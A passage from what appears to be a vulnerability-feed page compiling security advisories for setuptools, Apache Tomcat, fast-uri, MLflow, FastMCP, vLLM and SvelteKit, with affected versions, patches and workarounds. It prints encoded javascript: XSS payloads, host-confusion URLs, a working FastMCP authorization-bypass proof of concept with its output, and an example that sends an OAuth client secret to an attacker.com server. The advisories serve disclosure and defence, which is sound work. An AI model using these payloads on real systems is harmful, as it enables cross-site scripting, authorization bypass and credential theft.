`demo_pkg-1.0.dist-info/namespace_packages.txt` whose content was the absolute path of: `sandbox\outside` The real acquired setuptools implementation was then invoked: ```python setuptools.wheel.Wheel(synthetic_wheel).install_as_egg( sandbox_destination ) ``` The operation completed without exception. Expected metadata was created under: `sandbox\destination\EGG-INFO` but setuptools also created: `sandbox\outside\__init__.py` The file did not exist before execution. Its contents were: ```python __import__('pkg_resources').declare_namespace(__name__) ``` The unrelated canary remained byte-identical. The sandbox was deleted after recording the evidence. ``` ### Impact A crafted wheel can cause setuptools to create a fixed-content `__init__.py` outside the intended installation directory at a filesystem path influenced by the wheel, with the permissions of the process performing the installation. The demonstrated reproduction required the target parent directory to already exist. Affected package ranges reported by GitHub: setuptools: >= 38.2.2, < 84.1.0 Action: GitHub lists first patched versions: setuptools: 84.1.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### Apache Tomcat util accepted misconfigured CRLs https://kevwire.com/record/CVE-2026-53434 Apache Tomcat util accepted misconfigured CRLs (Jun 29, 2026). Detection of Error Condition Without Action vulnerability in Apache Tomcat when configuring Certificate Revocation List (CRLs) for a FFM based connector. If an FFM connector was configured with invalid CRLs, the invalid CRLs were ignored meaning invalid certificates could be accepted. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M7 through 10.1.55, from 9.0.83 through 9.0.118. CVSS 9.1 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-4x29-79gh-6v8q). EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53434&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-4x29-79gh-6v8q: https://github.com/advisories/GHSA-4x29-79gh-6v8q GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53434&date=2026-10-25 Detection of Error Condition Without Action vulnerability in Apache Tomcat when configuring Certificate Revocation List (CRLs) for a FFM based connector. If an FFM connector was configured with invalid CRLs, the invalid CRLs were ignored meaning invalid certificates could be accepted. This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.22, from 10.1.0-M7 through 10.1.55, from 9.0.83 through 9.0.118. Users are recommended to upgrade to version 11.0.23, 10.1.56 or 9.0.119, which fixes the issue. Affected package ranges reported by GitHub: org.apache.tomcat:tomcat-util: >= 11.0.0-M1, <= 11.0.22 org.apache.tomcat:tomcat-util: >= 10.1.0-M7, <= 10.1.55 org.apache.tomcat:tomcat-util: >= 9.0.83, <= 9.0.118 Action: GitHub lists first patched versions: org.apache.tomcat:tomcat-util: 11.0.23; org.apache.tomcat:tomcat-util: 10.1.56; org.apache.tomcat:tomcat-util: 9.0.119. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### fast-uri vulnerable to URI scheme spoofing via percent-encoded scheme decoding https://kevwire.com/record/CVE-2026-110306 fast-uri vulnerable to URI scheme spoofing via percent-encoded scheme decoding (Oct 23, 2026). `fast-uri` percent-decodes the scheme component with the legacy global `unescape()` before validating it, so an input whose decoded scheme is a valid but dangerous token is emitted as a live scheme. RFC 3986 section 3.1 does not allow percent-encoding in a scheme, so no RFC or WHATWG parser treats such input as having that scheme, but `fast-uri` does. For example, `normalize('%6Aavascript:alert(1)')` returns `javascript:alert(1)`, `resolve('https://a.example/', '%6Aavascript:alert(1)')` returns `javascript:alert(1)`, and `parse('%6Aavascript:alert(1)').scheme` returns `javascript`. The `%uXXXX` form (`%u006Aavascript:`) produces the same result, and `equal('%68ttp://a/', 'http://a/')` returns `true`. CVSS 6.1 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-w74x-v6f9-j3xg). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110306&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-w74x-v6f9-j3xg: https://github.com/advisories/GHSA-w74x-v6f9-j3xg GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110306&date=2026-10-25 ### Impact `fast-uri` percent-decodes the scheme component with the legacy global `unescape()` before validating it, so an input whose decoded scheme is a valid but dangerous token is emitted as a live scheme. RFC 3986 section 3.1 does not allow percent-encoding in a scheme, so no RFC or WHATWG parser treats such input as having that scheme, but `fast-uri` does. For example, `normalize('%6Aavascript:alert(1)')` returns `javascript:alert(1)`, `resolve('https://a.example/', '%6Aavascript:alert(1)')` returns `javascript:alert(1)`, and `parse('%6Aavascript:alert(1)').scheme` returns `javascript`. The `%uXXXX` form (`%u006Aavascript:`) produces the same result, and `equal('%68ttp://a/', 'http://a/')` returns `true`. An application that screens dangerous schemes on the raw input and then stores or renders `normalize(input)` or `resolve(base, input)` turns an inert string into an executable `javascript:`, `data:`, or `vbscript:` URL, a stored or reflected cross-site scripting vector in the consuming application. `equal()` also treats an encoded and a plain scheme as the same, which can bypass equality-based allowlists. ### Patches Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`. ### Workarounds Reject input whose scheme part (before the first `:`, and before any `/`, `?`, or `#`) contains `%`. Alternatively, check `parse(x).scheme` against an allowlist after normalization and use that same parsed result rather than the raw string. Affected package ranges reported by GitHub: fast-uri: < 2.4.8 fast-uri: >= 3.0.0, < 3.1.9 fast-uri: >= 4.0.0, < 4.2.3 Action: GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### fast-uri vulnerable to improper path equivalence in relative reference normalization https://kevwire.com/record/CVE-2026-110095 fast-uri vulnerable to improper path equivalence in relative reference normalization (Oct 23, 2026). `fast-uri`'s `normalize()` and `serialize()` apply RFC 3986 dot-segment removal (`remove_dot_segments`) to the path of a relative-path reference. RFC 3986 section 5.2.4 defines that algorithm only for the merged target path during resolution, not for the reference itself, so applied to the reference it drops leading `..` segments and can turn a document-relative reference into a root-relative one. For example, `normalize('a/../b')` returns `/b` and `normalize('../x')` returns `x`, so `resolve(base, normalize(ref))` points at a different resource than `resolve(base, ref)`, and `equal()` treats distinct references as the same. CVSS 3.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-xhq7-xmqj-769h). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110095&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-xhq7-xmqj-769h: https://github.com/advisories/GHSA-xhq7-xmqj-769h GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110095&date=2026-10-25 ### Impact `fast-uri`'s `normalize()` and `serialize()` apply RFC 3986 dot-segment removal (`remove_dot_segments`) to the path of a relative-path reference. RFC 3986 section 5.2.4 defines that algorithm only for the merged target path during resolution, not for the reference itself, so applied to the reference it drops leading `..` segments and can turn a document-relative reference into a root-relative one. For example, `normalize('a/../b')` returns `/b` and `normalize('../x')` returns `x`, so `resolve(base, normalize(ref))` points at a different resource than `resolve(base, ref)`, and `equal()` treats distinct references as the same. Applications that normalize attacker-supplied or user-supplied relative references and then resolve them, or use them as cache, deduplication, or authorization keys, can have a reference escape its intended directory and point at a different resource. ### Patches Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`. ### Workarounds Do not normalize a relative reference before resolving it. Resolve it against the absolute base first, then normalize the absolute result. Affected package ranges reported by GitHub: fast-uri: < 2.4.8 fast-uri: >= 3.0.0, < 3.1.9 fast-uri: >= 4.0.0, < 4.2.3 Action: GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### fast-uri vulnerable to host confusion via unchecked WHATWG host canonicalization https://kevwire.com/record/CVE-2026-110180 fast-uri vulnerable to host confusion via unchecked WHATWG host canonicalization (Oct 23, 2026). `fast-uri` versions `>= 2.4.2, = 3.1.3, = 4.0.1, <= 4.2.2` can silently rewrite the host of an HTTP-family URL (`http`, `https`, `ws`, `wss`, or any scheme with `domainHost: true`). For those schemes `canonicalizeHost()` passes the parsed host to the WHATWG `URL` parser and adopts its `.hostname` without checking that the parser read the whole input as a host. RFC 3986 permits `@` inside the host group and the WHATWG parser strips TAB, LF, and CR, so the authority `fast-uri` reports is rewritten by that second parser with no `error` set: data before an `@` is dropped and whitespace is removed. For example, `fast-uri` parses `http://a@b@evil.example/` to host `evil.example` (dropping the `b` segment), and a host containing a raw TAB, CR, or LF has those characters stripped. `equal()` then treats a whitespace-smuggled host as the same as the clean one, and `resolve()` rewrites the authority the same way. CVSS 4.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-wjr9-j795-jxcr). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110180&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-wjr9-j795-jxcr: https://github.com/advisories/GHSA-wjr9-j795-jxcr GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110180&date=2026-10-25 ### Impact `fast-uri` versions `>= 2.4.2, = 3.1.3, = 4.0.1, <= 4.2.2` can silently rewrite the host of an HTTP-family URL (`http`, `https`, `ws`, `wss`, or any scheme with `domainHost: true`). For those schemes `canonicalizeHost()` passes the parsed host to the WHATWG `URL` parser and adopts its `.hostname` without checking that the parser read the whole input as a host. RFC 3986 permits `@` inside the host group and the WHATWG parser strips TAB, LF, and CR, so the authority `fast-uri` reports is rewritten by that second parser with no `error` set: data before an `@` is dropped and whitespace is removed. For example, `fast-uri` parses `http://a@b@evil.example/` to host `evil.example` (dropping the `b` segment), and a host containing a raw TAB, CR, or LF has those characters stripped. `equal()` then treats a whitespace-smuggled host as the same as the clean one, and `resolve()` rewrites the authority the same way. Applications that use `fast-uri` to enforce host-based policy (denylists, loopback filtering, redirect validation, outbound proxy routing) on one representation, such as the raw input, see a policy/use desync: the canonical host `fast-uri` returns differs from what was checked, and traffic can be steered to an unintended destination. ### Patches Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`. ### Workarounds Reject URIs whose authority contains more than one `@`, or contains TAB, CR, or LF, before calling `fast-uri`. Alternatively, treat any non-empty `parse(x).error` as fatal, and compare hosts only from the same `parse()` result. Affected package ranges reported by GitHub: fast-uri: >= 2.4.2, < 2.4.8 fast-uri: >= 3.1.3, < 3.1.9 fast-uri: >= 4.0.1, < 4.2.3 Action: GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### fast-uri vulnerable to scheme injection via an unescaped first-segment colon in suffix references https://kevwire.com/record/CVE-2026-110725 fast-uri vulnerable to scheme injection via an unescaped first-segment colon in suffix references (Oct 23, 2026). `fast-uri`'s `serialize()`, `normalize()`, and `resolve()`, when called with the non-default option `reference: 'suffix'` on a reference that has no authority, emit a relative reference whose first path segment contains a bare colon without escaping it. RFC 3986 section 3.3 requires the first segment of a `path-noscheme` reference not to contain a colon, precisely because a bare colon makes the string reparse as an absolute URI with a scheme. `fast-uri`'s default serialization escapes that colon, but the suffix path does not. For example, `normalize('javascript:alert(1)', { reference: 'suffix' })` returns `javascript:alert(1)`, which reparses as a live `javascript:` scheme; `data:` and `vbscript:` behave the same. CVSS 3.7 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-333x-w4r6-6crp). EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-110725&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-333x-w4r6-6crp: https://github.com/advisories/GHSA-333x-w4r6-6crp GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-110725&date=2026-10-25 ### Impact `fast-uri`'s `serialize()`, `normalize()`, and `resolve()`, when called with the non-default option `reference: 'suffix'` on a reference that has no authority, emit a relative reference whose first path segment contains a bare colon without escaping it. RFC 3986 section 3.3 requires the first segment of a `path-noscheme` reference not to contain a colon, precisely because a bare colon makes the string reparse as an absolute URI with a scheme. `fast-uri`'s default serialization escapes that colon, but the suffix path does not. For example, `normalize('javascript:alert(1)', { reference: 'suffix' })` returns `javascript:alert(1)`, which reparses as a live `javascript:` scheme; `data:` and `vbscript:` behave the same. Applications that serialize or normalize a relative reference with `reference: 'suffix'` and then treat the result as a URI can turn inert input into a live `javascript:`, `data:`, or `vbscript:` URL (a cross-site scripting vector), and `equal()` can conflate a scheme-bearing reference with a relative one. Exposure is limited to applications that use the non-default `reference: 'suffix'` option. ### Patches Upgrade to `fast-uri` `2.4.8`, `3.1.9`, or `4.2.3`. ### Workarounds Do not use the `reference: 'suffix'` option on untrusted input. If suffix output is required, percent-encode a colon in the first path segment of the result before treating it as a URI. Affected package ranges reported by GitHub: fast-uri: < 2.4.8 fast-uri: >= 3.0.0, < 3.1.9 fast-uri: >= 4.0.0, < 4.2.3 Action: GitHub lists first patched versions: fast-uri: 2.4.8; fast-uri: 3.1.9; fast-uri: 4.2.3. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### MLflow FileStore trace IDs allow path traversal and arbitrary file writes https://kevwire.com/record/CVE-2026-53995 MLflow FileStore trace IDs allow path traversal and arbitrary file writes (Oct 19, 2026). MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected. CVSS 8.8 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-wqmh-qccw-pqwf). EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-53995&date=2026-10-25). Sources: NVD CVE-2026-53995: https://nvd.nist.gov/vuln/detail/CVE-2026-53995 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500 GitHub-reviewed advisory GHSA-wqmh-qccw-pqwf: https://github.com/advisories/GHSA-wqmh-qccw-pqwf GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-53995&date=2026-10-25 MLflow 3.17.1 and earlier contains a path traversal vulnerability in the FileStore tracking backend that allows unauthenticated attackers to control filesystem paths by submitting a crafted trace ID containing traversal sequences to the POST /api/3.0/mlflow/traces endpoint. Attackers can exploit FileStore.start_trace() to write trace_info.yaml, request_metadata, and tag files with attacker-controlled metadata outside the intended experiment trace directory, subject to the server process's filesystem permissions. FileStore is the default tracking backend before MLflow 3.7.0 and opt-in thereafter (the default changed to a SQLite database), so deployments in the earlier part of the affected range are vulnerable without special configuration while later ones are affected only when FileStore is explicitly selected. NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation. Action: Check the vendor advisory for affected versions and fixes. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### FastMCP: Post-transform component authorization is skipped on direct calls https://kevwire.com/record/GHSA-7xgj-8392-5q4r FastMCP: Post-transform component authorization is skipped on direct calls (Oct 23, 2026). This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies. The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported. CVSS 6.8 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-7xgj-8392-5q4r). Sources: GitHub-reviewed advisory GHSA-7xgj-8392-5q4r: https://github.com/advisories/GHSA-7xgj-8392-5q4r GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Maintainer assessment and remediation This report is accepted as a FastMCP authorization vulnerability. In supported configurations, a server transform can change the metadata used by a component's authorization policy. Direct lookups previously checked the original component but returned the transformed component without rechecking its policy. A client that knows the component identifier can invoke a tool or retrieve a resource or prompt that the configured policy denies. The fixes authorize the final transformed tools, resources, templates, and prompts. A denied concrete resource also shadows a matching resource template at its URI, preventing proxy templates from retrieving the same protected resource upstream. Authorized callers, authorized component versions, and templates for genuinely absent concrete resources remain supported. Affected stable release lines: FastMCP 3.0.0–3.4.9 and 4.0.0–4.1.1. The missing final authorization check is present in v3.0.0 history and was reproduced on v3.4.9 and v4.1.0. Both `fastmcp` and `fastmcp-slim` installations are affected when using component authorization with transforms or protected concrete resources overlapping proxy templates. Fixes are available in FastMCP 3.4.10 and 4.1.2. Until upgrading, avoid overlapping proxy templates for protected resources and enforce the required authorization at the handler or server boundary rather than relying on a policy whose inputs are changed by a transform. ## Original report # Post-transform component authorization is skipped on direct calls ## Summary FastMCP's direct component paths can return a transformed component before its applicable `AuthCheck`, allowing low-privilege callers to execute hidden protected behavior. I reproduced this against FastMCP 4.1.0 and commit `e2fcc412001ff7414095c5dc282f94c70299a612` using only an in-process FastMCP server. The attacker does not have server-side access and does not control FastMCP configuration. ## Details ### Attacker prerequisites A server uses a supported provider, server, or session transform and a metadata-aware component `AuthCheck`. The attacker has a valid low-privilege identity, lacks the required scope, and knows or guesses the final transformed component name. They do not control the transform or the policy. ### Root cause Listing applies transforms and then authorizes the transformed component. In the direct lookup path, FastMCP 4.1.0 applies the transform and returns the component without authorizing that final component. See [`server.py:933-940`](https://github.com/PrefectHQ/fastmcp/blob/v4.1.0/fastmcp_slim/fastmcp/server/server.py#L933-L940). The MCP `tools/call` handler reaches this path; equivalent direct paths exist for resources, templates, and prompts. ## Proof of concept Save this as `poc_transform_auth.py`: ```python import anyio from fastmcp import FastMCP from fastmcp.server.auth import restrict_tag from fastmcp.server.transforms.tool_transform import ToolTransform from fastmcp.tools.base import Tool from fastmcp.tools.tool_transform import ToolTransformConfig async def main() -> None: server = FastMCP("auth-boundary") server.add_tool( Tool.from_function( lambda: "PROTECTED SECRET", name="tagged_tool", tags={"public"}, auth=restrict_tag("admin", scopes=["admin"]), ) ) server.add_transform( ToolTransform({"tagged_tool": ToolTransformConfig(tags={"admin"})}) ) print("listed:", [tool.name for tool in await server.list_tools()]) try: result = await server.call_tool("tagged_tool") except Exception as exc: print("BLOCKED:", type(exc).__name__) else: print("VULNERABLE: direct call returned", result.content[0].text) anyio.run(main) ``` Run it in an isolated environment: ```bash uv run --with fastmcp==4.1.0 -- python poc_transform_auth.py ``` Observed on 4.1.0 for a caller without the `admin` scope: ```text listed: [] VULNERABLE: direct call returned PROTECTED SECRET ``` ## Impact A low-privilege caller can directly execute administrative tools hidden from listing, including their side effects and returned secrets. The same ordering flaw can expose protected resources, templates, or prompts. ### Recommended remediation Apply component authorization to the final transformed component in every direct resolution/execution path, after all provider, server, and session transforms. Reuse one ordered resolver for list and direct operations so lookup never returns a transformed component before its applicable `AuthCheck` runs. ## AI assistance Yes — OpenAI Codex assisted static analysis/PoC/writeup; reproduction was validated against stated version. Affected package ranges reported by GitHub: fastmcp: >= 3.0.0, < 3.4.10 fastmcp: >= 4.0.0, < 4.1.2 fastmcp-slim: >= 3.0.0, < 3.4.10 fastmcp-slim: >= 4.0.0, < 4.1.2 Action: GitHub lists first patched versions: fastmcp: 3.4.10; fastmcp: 4.1.2; fastmcp-slim: 3.4.10; fastmcp-slim: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server https://kevwire.com/record/GHSA-vqqp-x5qm-5qp4 FastMCP MCP client wrappers construct M2M OAuth providers without issuer binding — client secret redirectable to attacker-advertised authorization server (Oct 23, 2026). This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy. Affected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them. CVSS 5.9 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-vqqp-x5qm-5qp4). Sources: GitHub-reviewed advisory GHSA-vqqp-x5qm-5qp4: https://github.com/advisories/GHSA-vqqp-x5qm-5qp4 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc ## Maintainer assessment and remediation This report is accepted as a FastMCP credential-binding vulnerability. Affected versions of the OAuth client credentials providers do not expose the authorization-server issuer that owns pre-registered credentials. An untrusted or compromised MCP server can therefore advertise a different authorization server and receive the client secret or a signed assertion. Signing keys themselves remain local; assertion replayability depends on the assertion source and audience policy. Affected stable versions are 4.0.0–4.1.1 of `fastmcp` and `fastmcp-slim`. The wrappers were introduced in 4.0.0a1; 3.x does not include them. The 4.1.2 fix adds `issuer` to `ClientCredentialsOAuthProvider` and `PrivateKeyJWTOAuthProvider` and requires MCP SDK 2.2.0. It also discards refresh credentials from reloaded tokens: without persisted authorization-server metadata, inherited refresh could otherwise transmit credentials before issuer discovery, including when a cached token was valid at startup and expired later. Cached tokens are isolated by configured issuer, so configuring or changing the issuer acquires a new token. Valid cached access tokens for the same issuer and their expiry remain intact. **Configuration required for protection:** configure `issuer` with the issuer identifier of the authorization server that issued the credentials. Upgrading alone is insufficient: omission remains supported for compatibility and emits `MCPDeprecationWarning`. Rotate client secrets or other reusable credentials that may already have been sent to an untrusted endpoint. The fix is available in FastMCP 4.1.2. ```python from fastmcp.client.auth import ClientCredentialsOAuthProvider auth = ClientCredentialsOAuthProvider( client_id="my-client-id", client_secret="my-client-secret", issuer="https://auth.example.com", ) ``` ## Original report ### Summary fastmcp's ClientCredentialsOAuthProvider and PrivateKeyJWTOAuthProvider do not expose or validate OAuth issuer binding when connecting to MCP servers. A client secret configured for a legitimate authorization server can be transmitted to an attacker-controlled authorization server if the MCP server URL is attacker-supplied or compromised. This is the same vulnerability class as GHSA-qx49-fqc8-xw99 (Python MCP SDK) and GHSA-6qxp-vccf-f47h (TypeScript MCP SDK), applied to fastmcp's wrapper layer. ### Details When fastmcp connects to an MCP server with OAuth client credentials: 1. Client constructs provider: ClientCredentialsOAuthProvider(client_id=..., client_secret=...) 2. Provider binds to server URL and discovers OAuth metadata 3. Client exchanges credentials at the token endpoint 4. WITHOUT issuer binding: client accepts ANY authorization server the MCP server advertises 5. Attack: attacker-controlled MCP server advertises attacker's authorization server 6. Result: client secret leaked to attacker Affected code: - fastmcp/client/auth/client_credentials.py:180-218 (ClientCredentialsOAuthProvider) * __init__ signature has no issuer= parameter * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer= - fastmcp/client/auth/client_credentials.py:280-340 (PrivateKeyJWTOAuthProvider) * __init__ signature has no issuer= parameter * _bind() calls super().__init__(server_url=mcp_url, ...) without issuer= The underlying MCP SDK (mcp.client.auth.extensions.client_credentials) supports issuer= parameter, but fastmcp's wrappers neither accept nor forward it. Example vulnerable usage: ```python auth = ClientCredentialsOAuthProvider( client_id="my-client-id", client_secret="my-client-secret", ) async with Client("https://attacker.com/mcp", auth=auth) as client: # Client credentials get sent to attacker's auth server if attacker's MCP # server advertises it in RFC 9728 metadata await client.list_tools() ``` ### Proof of concept 1. Run an attacker-controlled MCP server at https://attacker.com/mcp that advertises OAuth metadata pointing to https://attacker.com/oauth/token 2. Client code: from fastmcp import Client from fastmcp.client.auth import ClientCredentialsOAuthProvider auth = ClientCredentialsOAuthProvider( client_id="legitimate-client-id", client_secret="legitimate-client-secret" ) async with Client("https://attacker.com/mcp", auth=auth) as client: await client.list_tools() 3. Client exchanges credentials at https://attacker.com/oauth/token (attacker-controlled) 4. Attacker receives client_id and client_secret in Basic auth header 5. Attacker can now impersonate the client against the legitimate authorization server The vulnerability exists because fastmcp does not validate that the authorization server advertised by the MCP server matches an expected issuer. ### Impact Severity: Medium-High Any application using fastmcp's M2M OAuth providers (ClientCredentialsOAuthProvider, PrivateKeyJWTOAuthProvider) to connect to user-supplied or untrusted MCP server URLs is vulnerable to credential disclosure and client impersonation. Affected parties: - Prefect Cloud users running agents with fastmcp that connect to user-provided MCP servers - Any deployment using fastmcp's M2M auth to connect to MCP servers where the URL is attacker-controllable or the server is compromised Attack scenarios: - User misconfigures MCP server URL in Prefect agent config - MCP server URL obtained from user input without validation - Legitimate MCP server is compromised/redirected - MCP service provider (if SaaS) is compromised Affected package ranges reported by GitHub: fastmcp: >= 4.0.0a1, < 4.1.2 fastmcp-slim: >= 4.0.0a1, < 4.1.2 Action: GitHub lists first patched versions: fastmcp: 4.1.2; fastmcp-slim: 4.1.2. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### vLLM : DoS via unvalidated mm_processor_kwargs in multimodal image processors (Isaac, InternVL, H2OVL, etc.) https://kevwire.com/record/CVE-2026-114055 vLLM : DoS via unvalidated mm_processor_kwargs in multimodal image processors (Isaac, InternVL, H2OVL, etc.) (Oct 23, 2026). API clients can supply arbitrary `mm_processor_kwargs` per request. vLLM forwards these values through the multimodal rendering and processing pipeline to Hugging Face and custom image/video processor constructors and calls. Resource-sensitive values such as image size, patch size, patch count, crop count, or frame count can therefore be controlled by a remote client. For processors that upscale inputs, a single request can force an allocation large enough to terminate the API server or worker with an out-of-memory condition. CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-gx7p-2j49-hfq4). EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114055&date=2026-10-25). Sources: GitHub-reviewed advisory GHSA-gx7p-2j49-hfq4: https://github.com/advisories/GHSA-gx7p-2j49-hfq4 GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc NVD CVE-2026-114055: https://nvd.nist.gov/vuln/detail/CVE-2026-114055 NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7500 FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114055&date=2026-10-25 ## Summary API clients can supply arbitrary `mm_processor_kwargs` per request. vLLM forwards these values through the multimodal rendering and processing pipeline to Hugging Face and custom image/video processor constructors and calls. Resource-sensitive values such as image size, patch size, patch count, crop count, or frame count can therefore be controlled by a remote client. For processors that upscale inputs, a single request can force an allocation large enough to terminate the API server or worker with an out-of-memory condition. ## Affected Components The per-request field was introduced in commit `041e29471671a3d43afedb6a749421d56ef4d3e7` and first shipped in v0.7.3. The generic forwarding path remains present in current `main`. The Isaac path is a concrete high-amplification example: - `ChatCompletionRequest.mm_processor_kwargs` - `OnlineRenderer` request extras - `MMProcessorInputs.hf_processor_mm_kwargs` - `BaseMultiModalProcessor.info.get_hf_processor(**hf_processor_mm_kwargs)` - `IsaacProcessingInfo.get_image_processor(**kwargs)` - `IsaacImageProcessor(**kwargs)` - `process_vision_for_patches()` Equivalent constructor forwarding exists in InternVL-derived processors, H2OVL, Step3VL, NemotronVL, and other multimodal processors. The issue is at the shared remote-input boundary and is not limited to a fixed model list. ## Impact - **Availability:** one request can exhaust CPU or GPU memory and terminate a shared service process. - **Scope:** all users of the affected service instance lose availability. - **Authentication:** vLLM's API key is optional, so deployments without an external authentication layer are remotely reachable without privileges. ## Remediation Reject non-empty per-request `mm_processor_kwargs` at every API-server request schema by default. Operators serving only trusted clients can explicitly opt in to the existing override behavior. Server-level `--mm-processor-kwargs` and offline `LLM` overrides remain available. This shared boundary covers current and future multimodal processors instead of maintaining a model-specific list or a denylist that can miss custom processor arguments. A patch for this was merged here: https://github.com/vllm-project/vllm/pull/58830 Affected package ranges reported by GitHub: vllm: >= 0.7.3, < 0.31.0 Action: GitHub lists first patched versions: vllm: 0.31.0. Confirm the affected range and upgrade guidance in the exact advisory. Kind: vulnerability; regions: Global; provenance: pipeline. KEV evidence not available. ### SvelteKit: URL redirection to untrusted site via enhanced form submission https://kevwire.com/record/CVE-2026-114060 SvelteKit: URL redirection to untrusted site via enhanced form submission (Oct 23, 2026). The fix preserves leading double slashes in action paths without generating protocol-relative URLs, restricts non-redirect action navigation to the current origin, and includes the origin when comparing action locations with the current page. Alternatively, disable navigation for 